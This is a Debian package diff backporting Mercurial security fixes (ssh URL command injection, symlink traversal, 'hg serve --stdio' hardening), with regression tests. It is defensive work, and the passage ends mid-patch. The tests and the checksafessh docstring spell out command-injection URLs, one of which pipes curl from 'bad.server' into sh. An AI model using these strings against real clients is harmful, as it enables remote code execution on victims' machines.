self.createmode = None + self._trustnlink = None + + def _getmustaudit(self): + return self._audit + + def _setmustaudit(self, onoff): + self._audit = onoff + if onoff: +- self.audit = pathauditor(self.base) ++ self.audit = pathauditor(self.base, self._cached) + else: + self.audit = util.always + +@@ -778,7 +788,7 @@ def _interestingfiles(repo, matcher): + This is different from dirstate.status because it doesn't care about + whether files are modified or clean.''' + added, unknown, deleted, removed = [], [], [], [] +- audit_path = pathauditor(repo.root) ++ audit_path = pathauditor(repo.root, cached=True) + + ctx = repo[None] + dirstate = repo.dirstate +--- a/tests/test-audit-path.t ++++ b/tests/test-audit-path.t +@@ -90,3 +90,99 @@ attack /tmp/test + [255] + + $ cd .. ++ ++Test symlink traversal on merge: ++-------------------------------- ++ ++#if symlink ++ ++set up symlink hell ++ ++ $ mkdir merge-symlink-out ++ $ hg init merge-symlink ++ $ cd merge-symlink ++ $ touch base ++ $ hg commit -qAm base ++ $ ln -s ../merge-symlink-out a ++ $ hg commit -qAm 'symlink a -> ../merge-symlink-out' ++ $ hg up -q 0 ++ $ mkdir a ++ $ touch a/poisoned ++ $ hg commit -qAm 'file a/poisoned' ++ $ hg log --template '{rev}: {desc}\n' ++ 2: file a/poisoned ++ 1: symlink a -> ../merge-symlink-out ++ 0: base ++ ++ ++try trivial merge ++ ++ $ hg up -qC 1 ++ $ hg merge 2 ++ abort: path 'a/poisoned' traverses symbolic link 'a' ++ [255] ++ ++try rebase onto other revision: cache of audited paths should be discarded, +++and the rebase should fail (issue5628) ++ ++ $ hg up -qC 2 ++ $ hg rebase -s 2 -d 1 --config extensions.rebase= ++ abort: path 'a/poisoned' traverses symbolic link 'a' ++ [255] ++ $ ls ../merge-symlink-out ++ ++ $ cd .. ++ ++Test symlink traversal on update: ++--------------------------------- ++ ++ $ mkdir update-symlink-out ++ $ hg init update-symlink ++ $ cd update-symlink ++ $ ln -s ../update-symlink-out a ++ $ hg commit -qAm 'symlink a -> ../update-symlink-out' ++ $ hg rm a ++ $ mkdir a && touch a/b ++ $ hg ci -qAm 'file a/b' a/b ++ $ hg up -qC 0 ++ $ hg rm a ++ $ mkdir a && touch a/c ++ $ hg ci -qAm 'rm a, file a/c' ++ $ hg log --template '{rev}: {desc}\n' ++ 2: rm a, file a/c ++ 1: file a/b ++ 0: symlink a -> ../update-symlink-out ++ ++ ++try linear update where symlink already exists: ++ ++ $ hg up -qC 0 ++ $ hg up 1 ++ abort: path 'a/b' traverses symbolic link 'a' ++ [255] ++ ++ ++try linear update including symlinked directory and its content: paths are ++audited first by calculateupdates(), where no symlink is created so both ++'a' and 'a/b' are taken as good paths. still applyupdates() should fail. ++ ++ $ hg up -qC null ++ $ hg up 1 ++ abort: path 'a/b' traverses symbolic link 'a' ++ [255] ++ $ ls ../update-symlink-out ++ ++try branch update replacing directory with symlink, and its content: the ++path 'a' is audited as a directory first, which should be audited again as ++a symlink. ++ ++ $ rm -f a ++ $ hg up -qC 2 ++ $ hg up 1 ++ abort: path 'a/b' traverses symbolic link 'a' ++ [255] ++ $ ls ../update-symlink-out ++ ++ $ cd .. ++ ++#endif +--- a/tests/test-commandserver.py ++++ b/tests/test-commandserver.py +@@ -240,6 +240,30 @@ def hgignore(server): + f.close() + runcommand(server, ['status', '-i', '-u']) + ++ ++def symlink_hell(): ++ os.system("mkdir merge-symlink-out") ++ os.system("hg init merge-symlink") ++ os.chdir("merge-symlink") ++ os.system("touch base") ++ os.system("hg commit -qAm base") ++ os.system("ln -s ../merge-symlink-out a") ++ os.system("hg commit -qAm 'symlink a -> ../merge-symlink-out'") ++ os.system("hg up -q 0") ++ os.system("mkdir a") ++ os.system("touch a/poisoned") ++ os.system("hg commit -qAm 'file a/poisoned'") ++ ++ ++def merge(server): ++ readchannel(server) ++ # audit a/poisoned as a good path ++ runcommand(server, ['up', '-qC', '2']) ++ runcommand(server, ['up', '-qC', '1']) ++ # here a is a symlink, so a/poisoned is bad ++ runcommand(server, ['merge', '2']) ++ ++ + def phasecacheafterstrip(server): + readchannel(server) + +@@ -285,3 +309,10 @@ if __name__ == '__main__': + check(branch) + check(hgignore) + check(phasecacheafterstrip) ++ ++ symlink_hell() ++ os.system("hg up -q null") ++ check(merge) ++ if os.path.exists("../merge-symlink-out/poisoned"): ++ raise AssertionError('../merge-symlink-out/poisoned should not exist: server vulnerable to symlink traversal') ++ +--- a/tests/test-commandserver.py.out ++++ b/tests/test-commandserver.py.out +@@ -191,3 +191,10 @@ o 0:eff892de26ec + 5: public + runcommand branches + default 1:731265503d86 ++ ++testing merge: ++ ++ runcommand up -qC 2 ++ runcommand up -qC 1 ++ runcommand merge 2 ++abort: path 'a/poisoned' traverses symbolic link 'a' diff -Nru mercurial-2.8.2/debian/patches/CVE-2017-1000116.patch mercurial-2.8.2/debian/patches/CVE-2017-1000116.patch --- mercurial-2.8.2/debian/patches/CVE-2017-1000116.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2017-1000116.patch 2018-11-21 17:31:33.000000000 +0000 @@ -0,0 +1,428 @@ +Description: fix for CVE-2017-1000116 (command injection on clients through malicious ssh URLs) + This is a collapsed patch based on a series of 11 patches from + upstream, backported to 3.7 by Atlassian, then backported to 2.2.2 by + Debian. Changes were mostly trivial, apart from requiring the + backport of the checksafessh function and tests output were adapted + to match cosmetic changes between the versions. +Author: Antoine Beaupré +Bug-Debian: https://bugs.debian.org/871710 +Origin: upstream, based on the Atlassian backport (0fe60a0:b143339) from https://bitbucket.org/atlassian/mercurial/commits/branch/sec-3.7 +Forwarded: not-needed +Last-Update: 2017-08-28 + +--- a/mercurial/posix.py ++++ b/mercurial/posix.py +@@ -9,6 +9,8 @@ from i18n import _ + import encoding + import os, sys, errno, stat, getpass, pwd, grp, socket, tempfile, unicodedata + ++from . import error ++ + posixfile = open + normpath = os.path.normpath + samestat = os.path.samestat +@@ -64,7 +66,13 @@ def parsepatchoutput(output_line): + def sshargs(sshcmd, host, user, port): + '''Build argument list for ssh''' + args = user and ("%s@%s" % (user, host)) or host +- return port and ("%s -p %s" % (args, port)) or args ++ if '-' in args[:1]: ++ raise error.Abort( ++ _('illegal ssh hostname or username starting with -: %s') % args) ++ args = shellquote(args) ++ if port: ++ args = '-p %s %s' % (shellquote(port), args) ++ return args + + def isexec(f): + """check whether a file is executable""" +--- a/mercurial/sshpeer.py ++++ b/mercurial/sshpeer.py +@@ -37,6 +37,8 @@ class sshpeer(wireproto.wirepeer): + if u.scheme != 'ssh' or not u.host or u.path is None: + self._abort(error.RepoError(_("couldn't parse location %s") % path)) + ++ util.checksafessh(path) ++ + self.user = u.user + if u.passwd is not None: + self._abort(error.RepoError(_("password in URL not supported"))) +@@ -47,10 +49,7 @@ class sshpeer(wireproto.wirepeer): + sshcmd = self.ui.config("ui", "ssh", "ssh") + remotecmd = self.ui.config("ui", "remotecmd", "hg") + +- args = util.sshargs(sshcmd, +- _serverquote(self.host), +- _serverquote(self.user), +- _serverquote(self.port)) ++ args = util.sshargs(sshcmd, self.host, self.user, self.port) + + if create: + cmd = '%s %s %s' % (sshcmd, args, +--- a/mercurial/subrepo.py ++++ b/mercurial/subrepo.py +@@ -1005,6 +1005,10 @@ class svnsubrepo(abstractsubrepo): + # The revision must be specified at the end of the URL to properly + # update to a directory which has since been deleted and recreated. + args.append('%s@%s' % (state[0], state[1])) ++ ++ # SEC: check that the ssh url is safe ++ util.checksafessh(state[0]) ++ + status, err = self._svncommand(args, failok=True) + _sanitize(self._ui, self._path) + if not re.search('Checked out revision [0-9]+.', status): +@@ -1209,6 +1213,9 @@ class gitsubrepo(abstractsubrepo): + + def _fetch(self, source, revision): + if self._gitmissing(): ++ # SEC: check for safe ssh url ++ util.checksafessh(source) ++ + source = self._abssource(source) + self._ui.status(_('cloning subrepo %s from %s\n') % + (self._relpath, source)) +--- a/mercurial/util.py ++++ b/mercurial/util.py +@@ -1884,6 +1884,21 @@ def hasdriveletter(path): + def urllocalpath(path): + return url(path, parsequery=False, parsefragment=False).localpath() + ++def checksafessh(path): ++ """check if a path / url is a potentially unsafe ssh exploit (SEC) ++ ++ This is a sanity check for ssh urls. ssh will parse the first item as ++ an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. ++ Let's prevent these potentially exploited urls entirely and warn the ++ user. ++ ++ Raises an error.Abort when the url is unsafe. ++ """ ++ path = _urlunquote(path) ++ if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): ++ raise error.Abort(_('potentially unsafe url: %r') % ++ (path,)) ++ + def hidepassword(u): + '''hide user credential in a url string''' + u = url(u) +--- a/mercurial/windows.py ++++ b/mercurial/windows.py +@@ -9,6 +9,8 @@ from i18n import _ + import osutil, encoding + import errno, msvcrt, os, re, stat, sys, _winreg + ++from . import error ++ + import win32 + executablepath = win32.executablepath + getuser = win32.getuser +@@ -100,7 +102,14 @@ def sshargs(sshcmd, host, user, port): + '''Build argument list for ssh or Plink''' + pflag = 'plink' in sshcmd.lower() and '-P' or '-p' + args = user and ("%s@%s" % (user, host)) or host +- return port and ("%s %s %s" % (args, pflag, port)) or args ++ if args.startswith('-') or args.startswith('/'): ++ raise error.Abort( ++ _('illegal ssh hostname or username starting with - or /: %s') % ++ args) ++ args = shellquote(args) ++ if port: ++ args = '%s %s %s' % (pflag, shellquote(port), args) ++ return args + + def setflags(f, l, x): + pass +--- a/tests/test-clone.t ++++ b/tests/test-clone.t +@@ -621,3 +621,66 @@ re-enable perm to allow deletion + #endif + + $ cd .. ++ ++SEC: check for unsafe ssh url ++ ++ $ cat >> $HGRCPATH << EOF ++ > [ui] ++ > ssh = sh -c "read l; read l; read l" ++ > EOF ++ ++ $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ [255] ++ $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path' ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ [255] ++ $ hg clone 'ssh://fakehost|touch%20owned/path' ++ abort: no suitable response from remote hg! ++ [255] ++ $ hg clone 'ssh://fakehost%7Ctouch%20owned/path' ++ abort: no suitable response from remote hg! ++ [255] ++ ++ $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path' ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path' ++ [255] ++ ++#if windows ++ $ hg clone "ssh://%26touch%20owned%20/" --debug ++ running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio" ++ sending hello command ++ sending between command ++ abort: no suitable response from remote hg! ++ [255] ++ $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug ++ running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio" ++ sending hello command ++ sending between command ++ abort: no suitable response from remote hg! ++ [255] ++#else ++ $ hg clone "ssh://%3btouch%20owned%20/" --debug ++ running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio' ++ sending hello command ++ sending between command ++ abort: no suitable response from remote hg! ++ [255] ++ $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug ++ running sh -c "read l; read l; read l" -p ';touch owned ' 'example.com' 'hg -R . serve --stdio' ++ sending hello command ++ sending between command ++ abort: no suitable response from remote hg! ++ [255] ++#endif ++ ++ $ hg clone "ssh://v-alid.example.com/" --debug ++ running sh -c "read l; read l; read l" 'v-alid.example.com' 'hg -R . serve --stdio' ++ sending hello command ++ sending between command ++ abort: no suitable response from remote hg! ++ [255] ++ ++We should not have created a file named owned - if it exists, the ++attack succeeded. ++ $ if test -f owned; then echo 'you got owned'; fi +--- a/tests/test-pull.t ++++ b/tests/test-pull.t +@@ -89,4 +89,26 @@ regular shell commands. + $ URL=`python -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` + $ hg pull -q "$URL" + ++SEC: check for unsafe ssh url ++ ++ $ cat >> $HGRCPATH << EOF ++ > [ui] ++ > ssh = sh -c "read l; read l; read l" ++ > EOF ++ ++ $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ [255] ++ $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ [255] ++ $ hg pull 'ssh://fakehost|touch${IFS}owned/path' ++ abort: no suitable response from remote hg! ++ [255] ++ $ hg pull 'ssh://fakehost%7Ctouch%20owned/path' ++ abort: no suitable response from remote hg! ++ [255] ++ ++ $ [ ! -f owned ] || echo 'you got owned' ++ + $ cd .. +--- a/tests/test-push-r.t ++++ b/tests/test-push-r.t +@@ -147,3 +147,29 @@ + 4 files, 9 changesets, 7 total revisions + + $ cd .. ++ ++SEC: check for unsafe ssh url ++ ++ $ cat >> $HGRCPATH << EOF ++ > [ui] ++ > ssh = sh -c "read l; read l; read l" ++ > EOF ++ ++ $ hg -R test-7 push 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ [255] ++ $ hg -R test-7 push 'ssh://%2DoProxyCommand=touch${IFS}owned/path' ++ pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ [255] ++ $ hg -R test-7 push 'ssh://fakehost|touch${IFS}owned/path' ++ pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path ++ abort: no suitable response from remote hg! ++ [255] ++ $ hg -R test-7 push 'ssh://fakehost%7Ctouch%20owned/path' ++ pushing to ssh://fakehost%7Ctouch%20owned/path ++ abort: no suitable response from remote hg! ++ [255] ++ ++ $ [ ! -f owned ] || echo 'you got owned' +--- a/tests/test-subrepo-git.t ++++ b/tests/test-subrepo-git.t +@@ -600,3 +600,35 @@ whitelisting of ext should be respected (that's the git submodule behaviour) + cloning subrepo s from ext::sh -c echo% pwned% >&2 + abort: git clone error 128 in s (in subrepo s) + [255] ++ ++test for ssh exploit with git subrepos 2017-07-25 ++ ++ $ hg init malicious-proxycommand ++ $ cd malicious-proxycommand ++ $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub ++ $ git init s ++ Initialized empty Git repository in $TESTTMP/malicious-proxycommand/s/.git/ ++ $ cd s ++ $ git commit --allow-empty -m 'empty' ++ [master (root-commit) 153f934] empty ++ $ cd .. ++ $ hg add .hgsub ++ $ hg ci -m 'add subrepo' ++ $ cd .. ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s) ++ [255] ++ ++also check that a percent encoded '-' (%2D) doesn't work ++ ++ $ cd malicious-proxycommand ++ $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub ++ $ hg ci -m 'change url to percent encoded' ++ $ cd .. ++ $ rm -r malicious-proxycommand-clone ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s) ++ [255] ++ +--- a/tests/test-subrepo-svn.t ++++ b/tests/test-subrepo-svn.t +@@ -632,3 +632,43 @@ well. + Checked out revision 15. + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ cd .. ++ ++SEC: test for ssh exploit ++ ++ $ hg init ssh-vuln ++ $ cd ssh-vuln ++ $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub ++ $ svn co --quiet "$SVNREPOURL"/src s ++ $ hg add .hgsub ++ $ hg ci -m1 ++ $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub ++ $ hg ci -m2 ++ $ cd .. ++ $ hg clone ssh-vuln ssh-vuln-clone ++ updating to branch default ++ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s) ++ [255] ++ ++also check that a percent encoded '-' (%2D) doesn't work ++ ++ $ cd ssh-vuln ++ $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub ++ $ hg ci -m3 ++ $ cd .. ++ $ rm -r ssh-vuln-clone ++ $ hg clone ssh-vuln ssh-vuln-clone ++ updating to branch default ++ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s) ++ [255] ++ ++also check that hiding the attack in the username doesn't work: ++ ++ $ cd ssh-vuln ++ $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub ++ $ hg ci -m3 ++ $ cd .. ++ $ rm -r ssh-vuln-clone ++ $ hg clone ssh-vuln ssh-vuln-clone ++ updating to branch default ++ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s) ++ [255] +--- a/tests/test-subrepo.t ++++ b/tests/test-subrepo.t +@@ -1233,3 +1233,76 @@ Courtesy phases synchronisation to publishing server does not block the push + no changes found + [1] + ++test for ssh exploit 2017-07-25 ++ ++ $ cat >> $HGRCPATH << EOF ++ > [ui] ++ > ssh = sh -c "read l; read l; read l" ++ > EOF ++ ++ $ hg init malicious-proxycommand ++ $ cd malicious-proxycommand ++ $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub ++ $ hg init s ++ $ cd s ++ $ echo init > init ++ $ hg add ++ adding init ++ $ hg commit -m init ++ $ cd .. ++ $ hg add .hgsub ++ $ hg ci -m 'add subrepo' ++ $ cd .. ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s) ++ [255] ++ ++also check that a percent encoded '-' (%2D) doesn't work ++ ++ $ cd malicious-proxycommand ++ $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub ++ $ hg ci -m 'change url to percent encoded' ++ $ cd .. ++ $ rm -r malicious-proxycommand-clone ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s) ++ [255] ++ ++also check for a pipe ++ ++ $ cd malicious-proxycommand ++ $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub ++ $ hg ci -m 'change url to pipe' ++ $ cd .. ++ $ rm -r malicious-proxycommand-clone ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: no suitable response from remote hg! ++ [255] ++ $ [ ! -f owned ] || echo 'you got owned' ++ ++also check that a percent encoded '|' (%7C) doesn't work ++ ++ $ cd malicious-proxycommand ++ $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub ++ $ hg ci -m 'change url to percent encoded pipe' ++ $ cd .. ++ $ rm -r malicious-proxycommand-clone ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: no suitable response from remote hg! ++ [255] ++ $ [ ! -f owned ] || echo 'you got owned' ++ ++and bad usernames: ++ $ cd malicious-proxycommand ++ $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub ++ $ hg ci -m 'owned username' ++ $ cd .. ++ $ rm -r malicious-proxycommand-clone ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s) ++ [255] diff -Nru mercurial-2.8.2/debian/patches/CVE-2017-17458_part1.patch mercurial-2.8.2/debian/patches/CVE-2017-17458_part1.patch --- mercurial-2.8.2/debian/patches/CVE-2017-17458_part1.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2017-17458_part1.patch 2018-11-16 18:12:58.000000000 +0000 @@ -0,0 +1,117 @@ +--- /dev/null ++++ b/tests/test-audit-subrepo.t +@@ -0,0 +1,114 @@ ++Test illegal name ++----------------- ++ ++on commit: ++ ++ $ hg init hgname ++ $ cd hgname ++ $ mkdir sub ++ $ hg init sub/.hg ++ $ echo 'sub/.hg = sub/.hg' >> .hgsub ++ $ hg ci -qAm 'add subrepo "sub/.hg"' ++ abort: path 'sub/.hg' is inside nested repo 'sub' ++ [255] ++ ++prepare tampered repo (including the commit above): ++ ++ $ hg import --bypass -qm 'add subrepo "sub/.hg"' - <<'EOF' ++ > diff --git a/.hgsub b/.hgsub ++ > new file mode 100644 ++ > --- /dev/null ++ > +++ b/.hgsub ++ > @@ -0,0 +1,1 @@ ++ > +sub/.hg = sub/.hg ++ > diff --git a/.hgsubstate b/.hgsubstate ++ > new file mode 100644 ++ > --- /dev/null ++ > +++ b/.hgsubstate ++ > @@ -0,0 +1,1 @@ ++ > +0000000000000000000000000000000000000000 sub/.hg ++ > EOF ++ $ cd .. ++ ++on clone (and update): ++ ++ $ hg clone -q hgname hgname2 ++ abort: path 'sub/.hg' is inside nested repo 'sub' ++ [255] ++ ++Test direct symlink traversal ++----------------------------- ++ ++#if symlink ++ ++on commit: ++ ++ $ mkdir hgsymdir ++ $ hg init hgsymdir/root ++ $ cd hgsymdir/root ++ $ ln -s ../out ++ $ hg ci -qAm 'add symlink "out"' ++ $ hg init ../out ++ $ echo 'out = out' >> .hgsub ++BROKEN: should fail ++ $ hg ci -qAm 'add subrepo "out"' ++ $ cd ../.. ++ ++on clone (and update): ++ ++ $ mkdir hgsymdir2 ++BROKEN: should fail to update ++ $ hg clone -q hgsymdir/root hgsymdir2/root ++ $ ls hgsymdir2 ++ out ++ root ++ ++#endif ++ ++Test indirect symlink traversal ++------------------------------- ++ ++#if symlink ++ ++on commit: ++ ++ $ mkdir hgsymin ++ $ hg init hgsymin/root ++ $ cd hgsymin/root ++ $ ln -s ../out ++ $ hg ci -qAm 'add symlink "out"' ++ $ mkdir ../out ++ $ hg init ../out/sub ++ $ echo 'out/sub = out/sub' >> .hgsub ++ $ hg ci -qAm 'add subrepo "out/sub"' ++ abort: path 'out/sub' traverses symbolic link 'out' ++ [255] ++ ++prepare tampered repo (including the commit above): ++ ++ $ hg import --bypass -qm 'add subrepo "out/sub"' - <<'EOF' ++ > diff --git a/.hgsub b/.hgsub ++ > new file mode 100644 ++ > --- /dev/null ++ > +++ b/.hgsub ++ > @@ -0,0 +1,1 @@ ++ > +out/sub = out/sub ++ > diff --git a/.hgsubstate b/.hgsubstate ++ > new file mode 100644 ++ > --- /dev/null ++ > +++ b/.hgsubstate ++ > @@ -0,0 +1,1 @@ ++ > +0000000000000000000000000000000000000000 out/sub ++ > EOF ++ $ cd ../.. ++ ++on clone (and update): ++ ++ $ mkdir hgsymin2 ++ $ hg clone -q hgsymin/root hgsymin2/root ++ abort: path 'out/sub' traverses symbolic link 'out' ++ [255] ++ $ ls hgsymin2 ++ root ++ ++#endif diff -Nru mercurial-2.8.2/debian/patches/CVE-2017-17458_part2.patch mercurial-2.8.2/debian/patches/CVE-2017-17458_part2.patch --- mercurial-2.8.2/debian/patches/CVE-2017-17458_part2.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2017-17458_part2.patch 2018-11-16 18:13:29.000000000 +0000 @@ -0,0 +1,82 @@ + +# HG changeset patch +# User Yuya Nishihara +# Date 1509707570 -32400 +# Node ID 071cbeba421217d722a69a5d614ec934684d62d5 +# Parent 80d7dbda92940c49e0fd66230ae07cd526b3629c +subrepo: disallow symlink traversal across subrepo mount point (SEC) + +It wasn't easy to extend the pathauditor to check symlink traversal across +subrepos because pathauditor._checkfs() rejects a directory having ".hg" +directory. That's why I added the explicit islink() check. + +No idea if this patch is necessary after we've fixed the issue5730 by +splitting submerge() into planning and execution phases. + +diff -r 80d7dbda9294 -r 071cbeba4212 mercurial/subrepo.py +--- a/mercurial/subrepo.py Fri Nov 03 19:17:25 2017 +0900 ++++ b/mercurial/subrepo.py Fri Nov 03 20:12:50 2017 +0900 +@@ -334,6 +334,12 @@ def itersubrepos(ctx1, ctx2): + for subpath, ctx in sorted(subpaths.iteritems()): + yield subpath, ctx.sub(subpath) + ++def _auditsubrepopath(repo, path): ++ # auditor doesn't check if the path itself is a symlink ++ scmutil.pathauditor(repo.root)(path) ++ if repo.wvfs.islink(path): ++ raise error.Abort(_("subrepo '%s' traverses symbolic link") % path) ++ + def subrepo(ctx, path): + """return instance of the right subrepo class for subrepo in path""" + # subrepo inherently violates our import layering rules +@@ -344,7 +350,7 @@ def subrepo(ctx, path): + import hg as h + hg = h + +- scmutil.pathauditor(ctx._repo.root)(path) ++ _auditsubrepopath(ctx._repo, path) + state = ctx.substate[path] + if state[2] not in types: + raise util.Abort(_('unknown subrepo type %s') % state[2]) +diff -r 80d7dbda9294 -r 071cbeba4212 tests/test-audit-subrepo.t +--- a/tests/test-audit-subrepo.t Fri Nov 03 19:17:25 2017 +0900 ++++ b/tests/test-audit-subrepo.t Fri Nov 03 20:12:50 2017 +0900 +@@ -50,17 +50,35 @@ on commit: + $ hg ci -qAm 'add symlink "out"' + $ hg init ../out + $ echo 'out = out' >> .hgsub +-BROKEN: should fail + $ hg ci -qAm 'add subrepo "out"' ++ abort: subrepo 'out' traverses symbolic link ++ [255] ++ ++prepare tampered repo (including the commit above): ++ ++ $ hg import --bypass -qm 'add subrepo "out"' - <<'EOF' ++ > diff --git a/.hgsub b/.hgsub ++ > new file mode 100644 ++ > --- /dev/null ++ > +++ b/.hgsub ++ > @@ -0,0 +1,1 @@ ++ > +out = out ++ > diff --git a/.hgsubstate b/.hgsubstate ++ > new file mode 100644 ++ > --- /dev/null ++ > +++ b/.hgsubstate ++ > @@ -0,0 +1,1 @@ ++ > +0000000000000000000000000000000000000000 out ++ > EOF + $ cd ../.. + + on clone (and update): + + $ mkdir hgsymdir2 +-BROKEN: should fail to update + $ hg clone -q hgsymdir/root hgsymdir2/root ++ abort: subrepo 'out' traverses symbolic link ++ [255] + $ ls hgsymdir2 +- out + root + + #endif diff -Nru mercurial-2.8.2/debian/patches/CVE-2017-9462.patch mercurial-2.8.2/debian/patches/CVE-2017-9462.patch --- mercurial-2.8.2/debian/patches/CVE-2017-9462.patch 1970-01-01 00:00:00.000000000 +0000 +++ mercurial-2.8.2/debian/patches/CVE-2017-9462.patch 2018-11-22 17:07:51.000000000 +0000 @@ -0,0 +1,149 @@ + +# HG changeset patch +# User Augie Fackler +# Date 1492021435 25200 +# Node ID 77eaf9539499a1b8be259ffe7ada787d07857f80 +# Parent 68f263f52d2e3e2798b4f1e55cb665c6b043f93b +dispatch: protect against malicious 'hg serve --stdio' invocations (sec) + +Some shared-ssh installations assume that 'hg serve --stdio' is a safe +command to run for minimally trusted users. Unfortunately, the messy +implementation of argument parsing here meant that trying to access a +repo named '--debugger' would give the user a pdb prompt, thereby +sidestepping any hoped-for sandboxing. Serving repositories over HTTP(S) +is unaffected. + +We're not currently hardening any subcommands other than 'serve'. If +your service exposes other commands to users with arbitrary repository +names, it is imperative that you defend against repository names of +'--debugger' and anything starting with '--config'. + +The read-only mode of hg-ssh stopped working because it provided its hook +configuration to "hg serve --stdio" via --config parameter. This is banned for +security reasons now. This patch switches it to directly call ui.setconfig(). +If your custom hosting infrastructure relies on passing --config to +"hg serve --stdio", you'll need to find a different way to get that configuration +into Mercurial, either by using ui.setconfig() as hg-ssh does in this patch, +or by placing an hgrc file someplace where Mercurial will read it. + +mitrandir@fb.com provided some extra fixes for the dispatch code and +for hg-ssh in places that I overlooked. + +diff -r 68f263f52d2e -r 77eaf9539499 contrib/hg-ssh +--- a/contrib/hg-ssh Mon Apr 03 17:34:24 2017 -0400 ++++ b/contrib/hg-ssh Wed Apr 12 11:23:55 2017 -0700 +@@ -32,7 +32,7 @@ command="hg-ssh --read-only repos/*" + # enable importing on demand to reduce startup time + from mercurial import demandimport; demandimport.enable() + +-from mercurial import dispatch ++from mercurial import dispatch, ui as uimod + + import sys, os, shlex + +@@ -61,14 +61,15 @@ def main(): + repo = os.path.normpath(os.path.join(cwd, os.path.expanduser(path))) + if repo in allowed_paths: + cmd = ['-R', repo, 'serve', '--stdio'] ++ req = dispatch.request(cmd) + if readonly: +- cmd += [ +- '--config', +- 'hooks.prechangegroup.hg-ssh=python:__main__.rejectpush', +- '--config', +- 'hooks.prepushkey.hg-ssh=python:__main__.rejectpush' +- ] +- dispatch.dispatch(dispatch.request(cmd)) ++ if not req.ui: ++ req.ui = uimod.ui() ++ req.ui.setconfig('hooks', 'prechangegroup.hg-ssh', ++ 'python:__main__.rejectpush', 'hg-ssh') ++ req.ui.setconfig('hooks', 'prepushkey.hg-ssh', ++ 'python:__main__.rejectpush', 'hg-ssh') ++ dispatch.dispatch(req) + else: + sys.stderr.write('Illegal repository "%s"\n' % repo) + sys.exit(255) +diff -r 68f263f52d2e -r 77eaf9539499 mercurial/dispatch.py +--- a/mercurial/dispatch.py Mon Apr 03 17:34:24 2017 -0400 ++++ b/mercurial/dispatch.py Wed Apr 12 11:23:55 2017 -0700 +@@ -6,6 +6,7 @@ + # GNU General Public License version 2 or any later version. + + from i18n import _ ++import getopt + import os, sys, atexit, signal, pdb, socket, errno, shlex, time, traceback, re + import util, commands, hg, fancyopts, extensions, hook, error + import cmdutil, encoding +@@ -86,6 +87,37 @@ def _runcatch(req): + except ValueError: + pass # happens if called in a thread + ++ realcmd = None ++ try: ++ cmdargs = fancyopts.fancyopts(req.args[:], commands.globalopts, {}) ++ cmd = cmdargs[0] ++ aliases, 